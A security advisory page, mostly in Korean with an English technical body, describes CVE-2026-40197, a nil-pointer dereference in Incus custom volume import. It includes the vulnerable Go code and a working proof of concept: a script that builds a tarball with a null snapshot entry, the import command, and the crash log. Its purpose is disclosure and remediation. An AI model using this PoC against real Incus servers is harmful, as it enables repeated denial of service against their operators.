CVE-2026-40197HIGH· 6.5MITRENVDGHSA대응게시일: 2026. 05. 06.수정일: 2026. 05. 08.

Incus has a Nil-Pointer Dereference via Custom Volume Import

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

6.5high

이론적 심각도 점수

EPSS

0.4%상위 68.9%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도낮음

필요 권한낮음

사용자 상호작용불필요

범위불변

영향

기밀성 영향없음

무결성 영향없음

가용성 영향높음

버전별 점수

CVSS 3.16.5HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File:
https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

text

 1func (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {
 2    [...]
 3    // Create database entries for new storage volume snapshots.
 4    for _, s := range srcBackup.Config.VolumeSnapshots {
 5        snapshot := s // Local var for revert.
 6        snapName := snapshot.Name
 7 
 8        // Due to a historical bug, the volume snapshot names were sometimes written in their full form
 9        // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both.
10        if internalInstance.IsSnapshot(snapshot.Name) {
11            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)
12        }
13 
14        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)
15        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
16        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)
17 
18        // Validate config and create database entry for new storage volume.
19        // Strip unsupported config keys (in case the export was made from a different type of storage pool).
20        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
21        if err != nil {
22            return err
23        }
24 
25        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })
26    }
27    [...]
28}

PoC

The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.

Commands:

text

 1cat <<EOF > poc_nil_snapshot.sh
 2#!/bin/bash
 3set -e
 4 
 5echo "[*] Building null snapshot dereference payload..."
 6 
 7mkdir -p backup/volume
 8mkdir -p backup/snapshots/snap0
 9 
10cat <<EOT > backup/index.yaml
11name: panic-nil-snap
12backend: dir
13pool: default
14type: custom
15snapshots:
16  - snap0
17config:
18  volume:
19    name: panic-nil-snap
20    type: custom
21    content_type: filesystem
22    config: {}
23  volume_snapshots:
24    - null
25EOT
26 
27tar -czf exploit_null_snapshot.tar.gz backup/
28rm -rf backup/
29 
30echo "[+] PoC Tarball Created: exploit_null_snapshot.tar.gz"
31EOF
32 
33bash poc_nil_snapshot.sh

Result:

text

 1[+] PoC Tarball Created: exploit_null_snapshot.tar.gz

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command:

text

 1incus storage volume import default exploit_null_snapshot.tar.gz

Result:

text

 1Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command:

text

 1journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"

Result:

text

 1panic: runtime error: invalid memory address or nil pointer dereference
 2github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
 3 
 4Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference
 5Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]
 6Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:
 7Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)
 8Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03
 9Mar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)
10Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4
11Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)
12Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
13Mar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783
14Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
15Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
16Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
17Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.
18Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.
19Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 3

링크 내용 불러오는 중…